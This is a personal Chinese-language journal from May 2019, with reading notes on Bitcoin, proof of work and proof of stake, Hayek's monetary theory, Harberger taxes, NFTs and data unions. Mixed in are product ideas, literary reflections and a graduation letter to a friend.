    拼多多的出现,通过保证需求的空间体量而使得供应商获得规模生产压低成本的优势。这是对于生产-消费关系的说法。而对于已经生产好的资源的调度问题,比如注意力,按需经济(on-demand economy),则是时间上的需求稳定性能够给予更多压低成本的空间。

    +
    +
  • +
  • 理想的状态应当是货币作为供给是固定的。而每一个人为了获得更多的钱唯一的方式就是依赖生产力然后交换得到,而随着生产力的提高,制造能力的提高,使得货币升值。同时处在升值阶段的货币使得人们更有动力来储存并用于投资。
  • +
  • 本质上采集黄金的过程也是最原始的proof of work。正因为这个过程非常的艰难而保证了黄金供应的稀缺性。
  • +
  • 货币应当是所用商品中受边际收益递减原则影响最小的商品。
  • +
  • 通货紧缩有什么不好的嘛? (降低的流动性)
  • +
  • 当人们更愿意持有货币的时候, 货币也即升值,而这也会返过来奖励货币持有者。本质上说,货币的升值意味其相对其他物品更高的购买力。
  • +
  • 比特币的安全性:
      +
    • 信息流动的充分性。每个人都拥有完整的历史,这意味着每一笔交易都会被传输给所有人,这意味着一旦有人作假,这个冲突记录会很快地扩散给所有人。
    • +
    • 给予「规则执行者」以体系内部流通代币的奖励。
    • +
    • 攻难守易的加密过程。
      +

      感觉更像是经济系教授来阐述的货币发展史,倾向于阐述哈耶克流派的思想而反对凯恩斯主义。但是后半部分关于bitcoin的介绍流于平庸,没有碰太多技术上的细节。而是不断重复论证一个观点: bitcoin is the hardest money ever.

      +
      +
    • +
    +
  • +
  • 比特币作为交易货币一个关键的局限在于对交易量的支撑。但是从比特币供给上的分析可以得到:比特币是一个合适的价值存储 value storage,类似黄金而不是交换媒介。
  • +
  • 经济学上提到的稀缺性,不是指资源本身的数量和限制,而是指时间上的花销。而这恰恰也对应了pow的成本:时间成本。比如,铝在地球上的含量没有大变化,古代的时候铝比黄金还珍贵用来做宫廷的壶具,因为当时开采铝的成本最高。但是新的技术发明使得曾经用于开采铝的时间大幅度的缩短,我们现在再也没说铝,铜这些金属是稀缺的了,但实际上它们的资源总量从过去到现在就没变过,变的是付出的时间成本。
    +

    同样的逻辑,当你希望人为地创造稀缺性的时候,就是提高其所付出的时间成本即可。而你能预见的大部分的敌对攻击则是通过各种技巧来缩短这个时间成本。比如,从金本位到美元本位转换的背后想法。

    +
    +
  • +
  • 比特币网络目前支持的交易上限是35万笔交易每天。基于这样的交易上限,未来可能出现的情况是银行将最终的交易结果通过区块链记录,而平时的日常交易则是通过银行本身发放的与比特币换算的货币来结算。一个二级的货币系统,是与比特币清算的。这些存储了比特币的银行会像在20世纪货币国家化之前的银行一样工作。而比特币能够代替目前黄金的作用,成为一个reserve currency。每日由银行之间进行清算,而不在每个人之间进行交换。而比特币能够替换黄金的一点在于,它不再被任何主权要挟,不再依赖国家的信用而创造价值,也不会再存在量化宽松等目的性极强地贬值行为。
    +

    数据: visa作为一个中心化的服务每秒支持3200笔交易,但是对于比特币网络目前只支持4笔每秒。

    +
    +
  • +
  • 一个可能预见的行为是,各个国家的中心银行也可能购入比特币作为货币储备,如果比特币的价值能够持续提升到接近其他储备货币的价格。作为一种对冲的保险策略。因为他们会慢慢意识到,比特币的价值储存功能比黄金要高。
  • +
+
    +
  • 经济学里面有一个很有意思的讨论是,信用体系和货币体系究竟谁先出现。这个讨论启发了后续很多的机制设计的大致思路。vitalik认为是信用体系先出现,也即债券的流动先于货币出现,而信用的流动性源于抵押物。这也成为了vitalik提出的proof of stake的核心思想:staking。而另一个方向认为货币体系早于信用体系的出现,则是强调货币作为价值交换媒介的属性,而成为交换媒介的前提是价值存储。货币拥有的价值源于其稀缺性,也就是生产所付出的时间成本。这也成为了satoshi提出的proof of work的核心思想,而比特币的价格也将最终趋向于挖矿成本的纳什平衡。
  • +
  • 人们对一件商品的需求,其实也间接反映了它的机会成本。
  • +
+
    +
  • 🔖 你能够看得清楚,并不一定意味着你能够成为最擅长的人。只是你可能更自由罢了,也可能更不幸。解构的能力,意味着选择的权利。但失去了重构的能力,这意味着彷徨,而非真正的自由。
    +

    这几天和别人聊起,为什么我喜欢存在主义而不是虚无主义。我想要的,不是毁灭,而是重建。

    +
    +
  • +
  • 医院的笑容,机场的眼泪,是我认为最宝贵的东西。
  • +
  • 🔖 飞机上看《舌尖上的中国》看哭了。心急的时候适合看一看。中国很大,有很古老的故事和笑容。我在想,人们是不是更愿意和自己认知相似的人一起,类似的资源,类似的能力和思维。可这不应当成为排斥其他故事,其他面容的理由。突然想起,陀翁这么说过,如果有谁问哪一本书能够总结我的一生,我会说《堂吉柯德》,我会和他说,这是我一辈子的故事,你会因此责怪我吗。I do not willing to mistake disenchantment for truth, for real.
    +

    多说一句,《舌尖上的中国》就是一个很好的例子:仅仅是记录这个世界,都非常有价值。这个世界的多样性正是人们生活的多样性。人们的故事是没有尽头的,因为总有人会沉默。

    +

    “美味的前世,是如画的背景。”

    +
    +
  • +
  • 每个人都有他力量的来源。他们如果愿意打破一个,就必须花心思去建立另一个。有的人不信奉一个教义,其实也在塑造着另一个。
  • +
  • 经济学,培养的是我宏观的直觉。
      +
    • 经济学上,偶像是哈耶克和中本聪
    • +
    • 开发者,偶像是aaron swaritz
    • +
    • 文学,偶像是加缪和昆德拉,塞万提斯。
    • +
    +
  • +
  • 最好的书,最厉害的人,都会和你讨论「为什么」,而不是一上来就开始给你介绍「怎么做」。在看完一大段bitcoin standard之后再抬头看了一段据说很厉害的桥梁的介绍片视频有感。
  • +
+

2019-05-22

    +
  • 【创业】游戏化社交体验。教育,让你认识好朋友的过程,其实就是创造一个共同的敌人。
  • +
+

《激进市场》中译本分享

我知道这本书主要是因为以太坊创始人vitalik的twitter。我自己也是加密货币的爱好者。目前也是国内加密货币社群橙皮书的供稿作者之一。

+

短期内会有很多社会阻力。

+

哈伯格税

资源流转的规则,看作是拍卖的规则。你为你的资产估值付税,(这使得你可以给出一个更合理的估值),别人根据你的估值和你交易。

+

这对信息的公开和交易安全有很高的要求。你需要让别人知道有哪些商品是需要流转的。你又如何实现资产所有权的转移。以及税究竟付给谁?。这里面的很多特质其实使得哈伯格税特别适用于虚拟物品,准确的说是虚拟稀有物品。目前最接近的应该是以太坊的ERC721标准- NFT(非同质代币)。

+

可以在一个封闭系统,或者说一个中心化系统里实现这个规则。也是我认为可能最容易落地的一项规则。(以及目前的确有人在做的)游戏内部装备道具的流转。

+

主要是围绕稀缺资源的所有权交易。比如限额的社群身份,你需要给你的身份估值按大概7%交税同样外面的人可以和你交易得到加入这个社群的身份。每个人所交的税,也能够从另一个角度上成为这个社群的最低基本收入。

+

提高稀缺资源的流转率,也保证了理性估值。

+

很有意思。人为的创造friction,摩擦来过滤出真正理性的估值,信息等等。pow中付出work多的人能够成为历史,因为付出高成本的人更可能是honest player。

+
+

而不需要用户,像在传统黄页里选择上传。
实现了一种连续拍卖。用户可以随时知道自己身边物的市场估值。问题同样存在,比如物体退货,被损坏的风险,保险的形式等等。(银行所谓一个中心化实体它的主要价值其实就是对风险的高承担能力。它才有这个话语权说我需要高额的手续费等等等等。)

+
+

data store

逻辑和工业革命时期劳动者的工会组织是类似的。

+

而作者希望,能够为普通用户,在互联网时代,能够创造出一种组织保护他们,形成一个博弈力量和大公司之间相互抗衡。

+

这和目前加密经济的趋势有相似之处。加密货币创造出来的,给个人的极大的博弈优势。(保护自己的数据更容易,普通用户,产生一对公钥和私钥,而攻击者必须去撞哈希付出极大的成本去攻击系统。)防守者容易,攻击者及其困难。极大的不对称,未来很多的创新以及福利都将依赖这一类不对称。

+

未来我认为很可能出现的形式是,我对我自己的用户数据进行加密(RSA,比如telegram),然后授权,无论是由工会管理还是个人来管理,或者很可能是混合的模式,其实这主要看个体的抗风险,理性的能力程度。但是决定这个数据是否能被使用的权利是回到了用户手上,不然你得到的就是一片乱码。

+

个人数据同样,作为一种稀缺数据,是可以通过利用哈伯格税来流通,所有权的转移,或者是把个人数据当作资产来债券化,实现部分所有权的分享(这一部分的想法书里没有提到,但我觉得这个思路是连贯的)。

+
+

数据是有很大的附加价值的。目前大部分的做法,就是互联网服务商认为自己提供了服务,比如社交网络,娱乐,用户从中得益,也因为这些公司也免费得到用户的数据。

+

目前大部分的信息都是免费的,互联网现在做法是使得你更方便地获取,他们的盈利点是便利性。

+

我个人感觉,这一章的逻辑,也就是成为数据工会这个想法是合理的,但是具体的实现方式glen其实没有讲清楚,他就提到需要存在这样一个中介,我们授权我们的数据给它,它再会去和其他公司谈判交涉。

+
+

2019-05-21

    +
  • 兴趣是最好的老师,在告诉一个人怎么做之前,一定要让他知道「为什么」。
  • +
+

哈耶克的稳定货币理论

    +
  • 金本位意味着没有黄金储备就不能发币?
  • +
  • 哈耶克的主张里的一个核心观点:“货币的稳定”,并以此提出了“货币的去国家化”这个理论。其中的一个核心规则就是:还款人能够以和商品等价物等价的其他货币还款。,使得还款人能够在多重还款路径中找到最有利的一条,让还款人取得博弈优势,而另一方银行将因此保证货币的稳定。。比如假设存在两个货币和一个商品等价物(这也是为什么哈耶克支持金本位了!),一开始是100A = 100等价物比如苹果 = 100B, 如果A升值了,那么我可以还100B 100苹果 = 80A使得自己得利;如果A贬值了,我可以换100A = 80B = 80苹果,还款人依旧得利。

    +
    +

    核心的机制设计:将存在利差的利用可能性开放,最终的纳什平衡将达到和实际稳定。想到ripple的XRP的设计,让用户自行的去寻找最优的货币交换路径,导致最终的货币转换利率等同于实际的汇率。

    +

    为什么实现一个巨大的博弈优势是现代社会的一个优势。
    因为在博弈其中一方取得明显优势的时候,另一方会趋向于稳定的,可预测的策略。加密货币经济,让防守方获得了巨大的优势。防守方能够以极小的成本承担攻击者巨额成本的攻击。在机制设计中,当我希望将博弈一方的策略stablize的时候,最好的方式是给另一方开放的竞争优势。因为一方任意的策略偏移都将使得另一方变得更有利可图(加密货币是守方任意的微小变动将导致攻方巨大的成本提高)

    +

    哈耶克的思路主要是,如果这个机制设计存在,那么它是如何实现「货币稳定」的,而不是说,如何将这个机制设计放在现实落实。

    +
    +
  • +
  • 哈耶克认为经济弊病在于:

    +
      +
    • 政府(政策制定者),以及央行(货币,财政政策)以及商业银行()。如果这其中几个角色共谋会发生什么。比如政府能够不断扩张财政赤字并最终将国债货币化(通过QE),转移到大部分货币持有人的身上。又比如,如果商业银行too big to fall,那么商业银行为了赚钱各类信用衍生物也将充斥市场。
      +

      哈耶克的建议是: 即便商业银行经营不善,也绝对不会进行救市。

      +
      +
    • +
    • 市场上流动的主体其实并不是发行的货币,而是商业银行的信用创造(比如债券等等),
    • +
    +
  • +
+

《激进市场》第五章

    +
  • 数据的marginal value是逐渐变小的。因为对于model来说,在已经用大量数据训练好的模型再增加数据对改善不确定性的效果是有限的。
    +

    现在另一个典型的场景是: employer & worker。一旦我们能够改变博弈的优劣势,让employer去追逐worker,那么worker的处境就会完全不同。我们需要给予worker竞争优势,使得employer任何的策略偏移都可能使得worker变得更有利可图。

    +
    +
  • +
  • 在讨论如何定价之前,我们应该谈论如何测量。
  • +
  • 从心理学的角度,金钱交易本质上解构了原始冲动。
  • +
  • 成立「数据工会」的意义:AI -> collective intelligence 共同智慧。用户对得到的反馈有了同理心,siri和alexa的反馈不只是来自bot的回应,用户会像对wiki的文章或者facebook的朋友信息一样对待这些反馈,建议。
  • +
+

2019-05-20

+

针对有读者提出矿场被垄断,接近51%的算力被垄断这个观点,我是这么回应的。

+

的确算在算力垄断接近51%的情况,但这个优势并不会阻碍后来人入场的机会呀,这个讨论更多是在于能和不能之间,而不是擅长和不擅长,大型机构的确在规模上更容易控制成本,但是这个系统并不会阻碍任意一个后来者进入系统,这个「是否能加入系统的能力」是及其重要的;相比其他机制设计比如proof of stake,为了节约资源而重新转向了基于authority的规则就和政治上的世袭没有太多区别了,后来者不再拥有加入的机会。

+

在进入擅长和不擅长的讨论之前,我们更希望把社会从不能到能的过渡。

+

同样我们需要对「垄断」和「作恶」要区别开来。

+

在pow这个机制下,垄断算力并不代表作恶。

+

即便拥有了51%的算力,攻击者基于自己的利益依旧会选择维护这个系统,而不是选择去攻击它。

+

这是和我们通常意识里的“垄断”是很不同的,矿场的产生更好应该被当作是维护者,而不是决策者。

+

原因:【1】攻击者即便拥有51%算力也只最多只能够改变自己的交易历史形成double spend攻击,而无法改变别人的,因为没有别人的私钥 【2】基于51%的算力,维护当前的系统也就通过继续挖矿所得到的利益远大于攻击这个系统需要重写整个分链历史的成本

+

垄断,指资源的集中,但也同时给予了垄断者潜在利用这个系统作恶的机会。但这个机会不一定会被执行出来,也就是我刚刚提到的,「垄断」不等于「作恶」。因为在这个规则下作恶的成本远远高于资源持有者维护现有体系的成本。

+

而一个系统的安全性可以这么衡量,去破坏但是破坏的代价是你会比你遵守规则至少失去(或者缴获)了X。X越大,这个系统就越安全。这也是一种思维的转变,很多时候我们其实不需要也不可能有绝对安全的系统,我们只需要当他们破坏这个系统的成本足够大的时候即可。

+
+
    +
  • 关注app store社交榜。下载app试用观察UI。
      +
    • folen,fallen
    • +
    +
  • +
  • “人类的学习场景可以分为4类,分别是:营火(一对多)、水源(多对多)、洞穴(一对一)和山顶(一)。”
  • +
  • 虽然不明显,但其实Google的处境是和Facebook相类似的,G的服务入口积累了用户大量的数据。G打造了最自动化的广告系统,但广告也只不过完成的是数钱的动作,其不断扩充服务入口去找到用户最频繁使用的场景,就是为了把钱送过来。但一旦其数据用途走偏被发现了,也容易出现基于反垄断法要求拆解G的诉讼请求。
    +

    G的duplex,最适合微信来做。从整合服务入口的自动化,到自动化整个服务。

    +

    平台建设的两个思考方向:
    to developer & to users. 分别对应生产者和消费者。

    +
    +
  • +
+

维护讨论的氛围

    +
  • 想到amazon的一个做法。no ppt,打印好几张纸,然后每次开会前花几分钟时间让大家来阅读。
  • +
  • 文章提到的几点有启发:
      +
    • 人为创造friction,比较激进的思路是:让用户回答一个关于文章的问题才能发表评论。
    • +
    • 记录用户的阅读时间。
    • +
    +
  • +
  • “他说自己从互联网上学到的最有价值的一课可能是,当网站设计者在用户的名字旁边设置一个数字时,一定要非常非常小心。因为大家会想尽办法让这个数字变得更大。
    而如果你没有深入思考你到底想鼓励什么,为什么鼓励它,以及由于这种鼓励可能会发生什么,那很多事情到最后可能就无法挽回了。
    +

    社交:存在感。
    讨论:微信从来都不是一个适合多人严肃讨论正经事的地方。
    Because Reading is Fundamental

    +
    +
  • +
+

2019-05-19

    +
  • 对我来说最重要的几幅画:
      +
    • 沙漠挖水,每一次就差一点点却放弃了。
    • +
    • 毕加索的牛的创作,由繁至简。
    • +
    +
  • +
  • 随身笔记本是主要负责速记的。重要的内容放进大笔记本。
  • +
  • 【快手】快手音乐人。NFT.
  • +
  • 刻意地创造稀缺性意味着什么?
  • +
  • 延迟满足,很多人简单地把它理解为克制的意思,认为好像不看剧、不玩游戏就是延迟满足。不是的。而是指,我要训练自己在自己的输出中获得喜悦,而不是通过坐享其成、以及简单的感官刺激而获得喜悦。
  • +
  • 一样东西越标准化、流水线化就越需要仲裁,也越得以仲裁。仲裁存在的前提是,存在反驳意见,以及存在权威。而这些的前提则是:标准化。越私人的体验越无法反驳,也没有权威之说。
  • +
  • 【区块链】虽然说区块链对安全性的高要求可能是对商业环境上的一个不合理的假设,因为实施这种安全性的成本很高。但为什么说区块链对我们社会、对机制设计依旧有意义。因为比特币其实也是在尝试解决一个分权的系统。任意一个规则的执行者也就是矿工为了平衡他们pow的支出会流转起他们得到的比特币,规则执行者和资源持有者是得以分开的。任何一个腐败的系统去追溯他们的源头可能都来自于官商勾结,在于制定规则的人成为游戏的最大玩家,而形成后来者难以破除的垄断关系。而比特币带来的是另一个思维,任何的后来者都能够几乎平等和所有先前加入系统的人平等竞争,因为pow所依赖电、机器是远远能够平均分布的(虽然矿场在规模上可能更容易控制成本)。
    +

    比特币里仲裁者没有固定身份。

    +
    +
  • +
  • PoS:设计原理:让获得下一个block的概率与控制coin的数量挂钩。
  • +
+

PoS

    +
  • 分布式的假设,不仅仅是非信任的节点之间,还包括那些还未出现的节点。
  • +
  • distributed consensus,分布式共识,的核心在于保证交易的时间序列。
  • +
  • 很多情况下他们会见到很多变式,解决方案是引入trusted party,但是本质上有了trusted party的共识系统就是截然不同的了,因为它的权威性是天生赋予的,这一类系统容易发展成另一个样子:世袭制
  • +
  • 当我们需要一个中心化实体来签名保证交易记录的合理性的时候,这和现在的银行没有任何区别。比特币带来的最大的改变就在于,他让这个中心化实体成为没有固定身份分布式的节点,在他们之间达成对交易历史的共识。
  • +
  • 那为什么不用时钟时间?因为在分布式系统中没有一个时间标准。
    On Stake and Consensus
  • +
+

bitcoin的价值

+

2019-05-18

    +
  • 不习惯毕业典礼。不喜欢一个必须说再见的时刻。在我决定结束之前,我不许别人替我说再见。
  • +
  • 如果一个故事你看到它发生,意思倒不是特别大。但是如果由一个人转述,效果会很明显。这是story-teller的力量。
  • +
  • 而忧郁是,你失去了欺骗自己的能力。在你学会编织谎言之前,你逐渐熟练揭穿谎言,你只想看到真相,可这个世界没有提供你真相的权利。
  • +
  • 在这个社会,否定比肯定更容易带来良好的自我感觉。
  • +
  • 人们主观的惰性程度是被远远低估的。很多时候我们陷入混乱,可能并不是这个社会客观上出现了巨大的动荡,或许是我们还来不及适应外界的改变而已。
  • +
+

毕业典礼

相如

每次想到你,我就想到自由。

+

你应该是我认识的最全面的一个人了。料理,音乐,文学,摄影,运动…我总感觉仿佛没有你不会的事(真心话)。你的能力让你拥有无数提前做选择的机会,而你则总会耐心地等待你的朋友,保护他们的体验。有你这样的好朋友,我真的很幸运。

+

你也看的出来,我其实是一个外热内冷的人。我在外面喜欢和别人打交道,但我自己的内心世界很少会和别人谈论。人就是这样的矛盾体呀,一面期待着他人的温度,而另一面却恩惠于别人的不理解而得以自由。可我觉得和你一起的时候我能够对你敞开全部的想法,幼稚的,粗糙的,理想主义的…这很安全。我深深地受惠于你带来的安全感和尊重。(我也感觉其实蛮多身边的人都有类似的感受,这也是你独一无二的魅力~)

+

我也是渐渐地发现,我对待自己生活的态度里有你的影子。很多时刻,我会在想,如果这是相如的话,会怎么做呢。这也是我想要记住一个人很久很久的方式。

+

like all dreamer, i confuse disentrancement for truth. 我记得你在坎昆的时候提到这是你印象最深刻的一句话。这几天我也一直在想,给一个可能是错的理解哈哈:) 。许多人会把失落后的冷静错当是生活的真相吧,可不依赖理性而获得希望才是我认为最动人的东西。也最自由,就像堂吉柯德一样。

+

这一套卡片我找的蛮久的,总共写了三份。火烈鸟般的勇气和激情,我写给王若愚;蝴蝶般的陪伴和真诚,留给了马叶舟;而云雀般的自由,想祝福你。

+

我会一直是你写在博客里的诗,日记的第二个读者。
我也会一直记得你的善良和耐心,并努力把这份善意传递给身边的人。
我期待着的dream team里一直有你,还有王若愚,纪然,段爸爸,栗菲和ran dan。

+

我才不想知道终点是什么样子,又有什么宝藏,我也不想征服任何人,这片海域上最自由的人,才是海贼王~共勉,加油~

+

相逢的人一定会再相逢~来北京找我噢

+

2019-05-16

    +
  • 每个人浏览网页的次序其实可以归结成为tree。将知识探索的的过程可以总结为一个从root到leave的path。你可以打包导出这个过程,分享给别人。
  • +
  • 粉丝经济的下一步,是影响力的个性化。
  • +
  • 【产品】目前大部分的笔记app都忽略了一点,也是纸质笔记依旧优越的地方:空间感。在于你注意力的机制不是局限在垂直的领域。
  • +
+

parson showcase

    +
  • cocoon,囚。将自己用织布包围与外界隔离生活21天。
  • +
  • probable women。将一个家庭的数据表转化为一首叙事诗。
  • +
  • empathy。利己主义者的头盔,当面前出现西装革履的人的时候会打开遮板,其他风景的时候会自动关闭。
  • +
  • 联动的智能家居。通过不同家具收集的数据来联合推测用户的状态和情绪。
  • +
  • 本地人联合众筹旅游语音向导。
  • +
  • surveillance and privacy. 将文字编码织布到围巾上。
  • +
  • hero
  • +
+

non-fungible token(collectibles)

    +
  • non-fungible意味着是不可交换的,bitcoin是fungible的因为支付前后得到和付出的bitcoin是identical的,non-fungible的例子比如机票等,带有个人信息且不可交换的;或者比如猫咪,而在加密货币的领域的例子就是cryptokitties。相比fungible token比如erc20, non-fungible token其实就是增加了许多meta data,以及最重要的ownership
  • +
  • non-fungible token常常用在收藏品的领域。强调所有权和独特性。而收藏品本身则是稀缺的,也适合于哈伯格税。
    +

    可以适用在其他的稀缺品上,比如人的身份。也就是将哈伯格税应用在社区身份的所有权上。

    +
    +
  • +
  • 显式且连续的报价,公布在链上,而不需要人为的发布信息。也将成为不可避免的拍卖信息。, “We will see continuous auctions form on NFTs. Imagine Ebay, but you don’t have to actively list what you own to see the going price., This is huge. We’ll have trustless, liquid markets where anyone can make an offer for what you own (even if you’re not actively selling).“
    +

    【剧本】不可避免,永远在线的拍卖价格。你所需要做的,就是等到合适的价格然后接受。
    为什么说blockchain和哈伯格税是最好的搭配。

    +

    公司的存在,在于降低交易成本。(虽然存在沟通成本),而现在smart contract达成的一个效果同样也是降低了交易成本。As per Coase’s Theory of The Firm, reducing the transaction costs to coordinate allows us to form new organisations that create new wealth. Smart contracts & blockchains afford us this opportunity to build these new post-state collective coordination games.

    +
    +
  • +
  • “What about utilising Harberger taxes to sell slots for your attention? Taxes are your basic income?
    What about a Harberger taxation scheme for a community, where members can buy/sell access to a community? Taxes are basic income in the community?
    What is Harberger Tax & Where Does The Blockchain Fit In?

    +
  • +
  • NFT的一个创新的地方在于给电子资产带来了所有权。我们习惯接受digital assets是强调使用权的。

    +
  • +
  • 对于传统的平台来说,用户生成的内容是属于平台的,用户使用平台得到的是“社会资本(social status)”、“观众”以及“品牌”,而内容产生的所有的剩余价值都属于平台,比如内容和内容之间的联系、推荐,内容和观众、和社区之间的联系、推荐都是属于平台的。
  • +
  • 为什么现在存在很多产品他们的用户体验非常差,但我们还必须用,因为他们的核心竞争力不在于体验,而在于他们垄断了用户数据和利用该数据进行分析的权力。当数据真正属于每一个用户的时候,也就是每一个用户生成的内容都是属于他的NFT
  • +
  • 对于NFT的资产,甚至可以使用fractional ownership,这样可以使得non-fungible asset重新fungible。
  • +
  • The Playful Paradigm Shift – The Coinbase Blog
  • +
+
+

新事物的流行通常都会经过两个阶段:投机阶段(investment)和实用主义(utility)阶段。投机阶段人们需要一个中心化的交易所,而在实用阶段当比特币进入支付等领域的时候则是去中心化的。

+

这个说法,投机:其实就是一个快速积累资本的过程,无论这个资本是社会资本(social status)还是金融资本。,而这个新事物可以是比特币,也可以是社交网络等等。认清楚项目是处于哪个阶段有利于我们以不同的标准去评价他们。

+
    +
  • 我们所期待的比特币以及其他加密货币,在未来很长的时间内都会是中心化和去中心化结构并存的,因为只要加密货币需要和现有货币转换,只要需要依赖当前的金融机构的部分就一会是中心化的,但这并妨碍在加密货币流通的这个领域我们能够做到更完整的去中心化。
    我们需要给予一项技术于时间,于土壤。土壤这个比喻其实是很重要的,理解哈耶克的经济理论的一个关键理解他认为市场是作为一个”园丁”的隐喻。园丁只是负责剪枝,修整,你不是拿那些条条框框去约束它,而是让这个市场自然地生长,里面的信息信号充分的自由流动。
  • +
+
+

延展阅读:

+ +

hashcash

    +
  • POW的来源。hashcash提高了发送邮件的成本,因此降低了spammer的发生几率。一封邮件发送者需要增加nounce计算hash直到满足特定条件为止,比如一开头的多少位为0,然后才能够发送,这个难度是可以调整的,目前的速度是需要计算1s。而收件人则可以用极短的时间来验证这个header是否满足条件。
  • +
+

2019-05-15

    +
  • 无论接下来讨论什么办法,首先定义问题是什么。
  • +
+

POW as a clock

    +
  • Blockchain Proof-of-Work is a Decentralized Clock - Gregory Trubetskoy
    +

    我们需要的其实不是绝对时间,而是一个次序保证: 那些事发生在那些事前面,一个相对时间。proof of work里面的work其实也同样代表了时间,甚至其主要的使用价值就是表示成为时间的次序。于是大家就对次序发生有了一个共识,就是这个问题的解开次序。

    +

    这个系统是permissionless的,也就意味着他能够实现算力分散。也是memoryless的,也就是任何人解决新的问题都和其解决之前的问题没有关系。

    +

    联系the book of satoshi,为什么说POW解决了byzantine general problem,因为在byzantine的目的就是创造共识。那么POW就利用了一个强制的办法,谁付出的work(时间)多,谁就是历史。换言之,谁付出的成本高,谁就是历史。这个思路可以有效减少攻击者的发生。同时创造出一个集体共识。而同样,我们也会去奖励付出了work的miner,比特币的价值最终会趋向于付出的成本,也间接反应了参与人数和当前的难度。这也保证了比特币作为货币不会垄断在「规则执行者」也就是miner的手上。和「资源持有者」的身份不会构成重叠。

    +

    (对于比特币消耗资源的命题,关键则是在于去看是否存在一种同样消耗时间,但没那么消耗资源的一种数学模型可以来代替。)

    +

    目前主流的两种奖励机制:

    +
      +
    • 一次性的奖励交割
    • +
    • 赋予权力是的能够通过权力寻租。
    • +
    +
    +
  • +
+

其他细节问题

    +
  • transaction pool是怎么设计的。是global还是distributed的。
  • +
  • 比特币承担了多个角色。现在也同样像黄金一样能够来避险。于是在中美贸易战的时候,比特币会持续拉高。
  • +
+

PoW v.s PoS

    +
  • 长远来看,也许NERVOS的POW挖矿最可能被人们广泛诟病 - 矿工酒馆 - Nervos Talk

    +
    +

    Vitalik演讲:crypto economics.

    +
    +
  • +
  • 熟人社交, “第一件事是在选择商业化路径时,宿华选择了既是用户产品又是商业产品的直播。第二件事是他在抖音靠流行内容狂飙猛进情况下,更沉下心开始坚决做熟人社交。快手主端过去一年的核心是社交化,产品上线了类朋友圈/QQ空间的说说。快手从17年就开始对社交不断投入,加强关注,加强普通人和普通人的沟通,一直都在朝着这个目标去做。这两件事情应该对他用户粘性都是有巨大帮助的。
    如果你去宁夏调研,会发现腾讯在西北渗透很弱,很多农民都是不怎么用微信的,快手的渗透率是丝毫不弱于腾讯的。这些农牧民兄弟他们将快手作为社交工具,一人每天发超过70条消息。”

    +
  • +
+

2019-05-14

+

2019-05-13

    +
  • ✍️ **培养自己的产品创意。- 目前最欣赏的app
  • +
  • 永远清楚自己的本分:推荐策略。更注重基于使用场景的特点来提升模型效果。
    +

    比如:youtube & airbnb的论文。有很多特定技巧的来源于用户在这个产品场景里的行为模式规律。

    +

    比如youtube里有搜索。搜索的结果不应该直接成为下一次推荐的结果,应当被限制权重。

    +

    airbnb的搜索是congregated search。使用负采样平衡样本和简化训练。

    +

    以及阿里巴巴的序列模型和兴趣演化模型。

    +

    等等等等。

    +

    一定要通过数据来找到用户的行为规律。

    +
    +
  • +
  • Amazon的「is it a gift?」原来是个这样子的发明!可以在用户操作层面就把不归于用户自己兴趣的数据给隔离开。要不然推荐系统的难度很高,比如你给小孩子,给外人买的指定主题的物品一件就可以把你训练的整个网络给搞崩(指恢复到正常推荐质量所要付出的努力),尤其是基于sequence的,因为他们本身不应当被当作context。
    +

    典型的正外部性例子啊。商户让利让用户自己标记数据。

    +
    +
  • +
  • 现代软件提供的是获取信息的便捷性。网易云的意义在于推荐你发现下一首歌。
  • +
+

兴趣社交

    +
  • 兴趣社交:即刻(泛兴趣社交)、豆瓣、虎扑
    +

    我更支持的是,每一个不同的社区都有其独特的、最有效的产品形态,参考「Amino」。互联网产品比拼的不再是信息的垄断,而是提供信息的便利性,或者说是效率。

    +

    比如,虎扑足球社区大家一边看直播比赛一边评论;投资人社区理应能够有一个智能的助手将语境中的关键信息提炼并且提供适量不过度的辅助信息,比如财报,比如最新进展等等;而新闻客户端的一个参考形态则是像「后续」。而音乐社区对于大部分人来说本质在于发现下一首歌。(反驳:这个app究竟是给pro还是给common user的。不能一会儿用专业性作为自己的特征,一会儿又说自己是面向大众)
    「纯纯写作」:右滑进入时光机。

    +

    产品形态应该是由那个领域的pro玩家来参与制定的。

    +
    +
  • +
  • 过量的优质信息和信息稀缺类似,甚至要更糟,给你一种焦虑情绪以及脱离语境的记忆和理解。Reeder里的文章定位从来都是娱乐而非专业性。要学会自己创造稀缺和体系。没有语境的信息不如没有。在主动引诱你误读。
    +

    有害的不在于完美,而在于批量。人的鉴赏能力比作品本身的优劣更重要。

    +
    +
  • +
+

2019-05-12

    +
  • 我喜欢计算机,加密货币,经济学,它们逐渐成为了我的坐标系,我的工具。
    而我喜欢文学,是因为它逐渐成为了我的触觉和我的声音。
  • +
  • 关注YC中国,20万5%的股份。https://www.ycchina.com
  • +
  • “五月的风,当在再吹过来的时候,我就知道已经不是你了。”
  • +
+

2019-05-11

    +
  • 这个时代有太多的被动思考,也是就事论事的能力。需要主动思考。
  • +
  • 最宝贵的,其实是这个team。
  • +
  • 多交流,也多愿意跨领域的交流。想起max提起他为什么想到firis这个想法,因为有一次在「得到」上有人希望找他出来聊天。那个人是电影制作行业的,他们在聊怎么做才能让电影的预售更好。由此想到了firis的社交分发的原理。
    +

    人工智能,要想到一个和消费者最接近的一个点,那个点要足够好玩。现在大部分的AI创业公司都是做B端,他们有很强的技术实力,我们不是和他们拼技术,我们在和他们拼想象力,拼对消费者心理的观察。

    +
    +
  • +
  • 我为什么觉得加密货币很吸引人,因为它实际上是在从机制设计这个角度在挑战人性里最难克服的一部分:马太效应以及规则制定者成为资源拥有者的权力垄断。
  • +
  • 社交的克制。在于任何我们造成的不好的体验,用户都会有对应措施。,多少人在微信里加入一个新群之后的第一反应就是去关闭这个群的通知。这个行为绝对不是自然的,这就像我走进一个会议然后第一件事就是戴上我的耳塞,我想旁观,但是又不希望你过分打扰我。这种让用户感受到矛盾的心理是最伤害产品体验的。
  • +
  • 有些人的背影,也是光源。
  • +
  • 人很难很难去否定快乐的意义。这是荒谬的。
    +

    因为这意味着自由。这也意味着,没有那些不容分说。我没有绝对的害怕,也不必须微笑。我可以哭,可以否认,可以绝望或者平和,但是里面每一种情绪都不是条件反射。的确我说过审美是没有高低之分的,审美指向的是复杂。但是它们的抵抗诱惑的能力是不一样的,它们对自由的追逐是不一样的。

    +
    +
  • +
  • 有时候我们反对正面,很多人会觉得我们一定是在支持反面,其实不是的,我们只是在乞求让反面能以相同的机会和正面竞争罢了。我们抵抗的是剥夺竞争机会的傲慢。
  • +
+

2019-05-10

    +
